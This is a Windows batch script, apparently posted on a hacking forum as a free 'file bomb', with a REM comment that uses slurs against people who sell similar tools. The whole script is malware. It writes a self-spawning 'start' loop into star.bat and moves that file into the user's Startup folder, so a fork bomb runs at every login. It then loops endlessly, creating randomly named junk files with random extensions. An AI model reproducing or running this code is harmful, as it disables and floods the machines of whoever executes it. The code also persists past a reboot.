Batch File Bomb

REM I know this is really basic, but retards are charging money to sell their skidiot version of file bombs. So here is a better version for free, I hope you enjoy.
@echo off & setlocal EnableDelayedExpansion
echo :k >> star.bat
echo start >> star.bat
echo goto k >> star.bat
move star.bat "C:\Users\%Username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
:loop
set /a ext=%random% * 14 / 32768 + 1
if %ext%==1 SET ext=txt
if %ext%==2 SET ext=c
if %ext%==3 SET ext=py
if %ext%==4 SET ext=lst
if %ext%==5 md %FILENAME%
if %ext%==6 SET ext=bat
if %ext%==7 SET ext=cmd
if %ext%==8 SET ext=sh
if %ext%==9 SET ext=0
if %ext%==10 SET ext=vbs
if %ext%==11 SET ext=exe
if %ext%==12 SET ext=cpp
if %ext%==13 SET ext=css
if %ext%==14 SET ext=bin
SET maxvalue=108
SET minvalue=32
SET /A tmpRandom=((%RANDOM%)%%(%maxvalue%))+(%minvalue%)
set "alpha=ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789abcdefghijklmnopqrstuvwxyz_-"
set alphaCnt=63
For /L %%j in (1,1,%tmpRandom%) DO CALL :GEN %%j
Goto :Eof
:GEN
Set "FILENAME="
For /L %%j in (1,1,%tmpRandom%) DO (
    Set /a i=!random! %% alphaCnt
    Call Set FILENAME=!FILENAME!%%alpha:~!i!,1%%
)
echo null >> %FILENAME%.%ext%
goto loop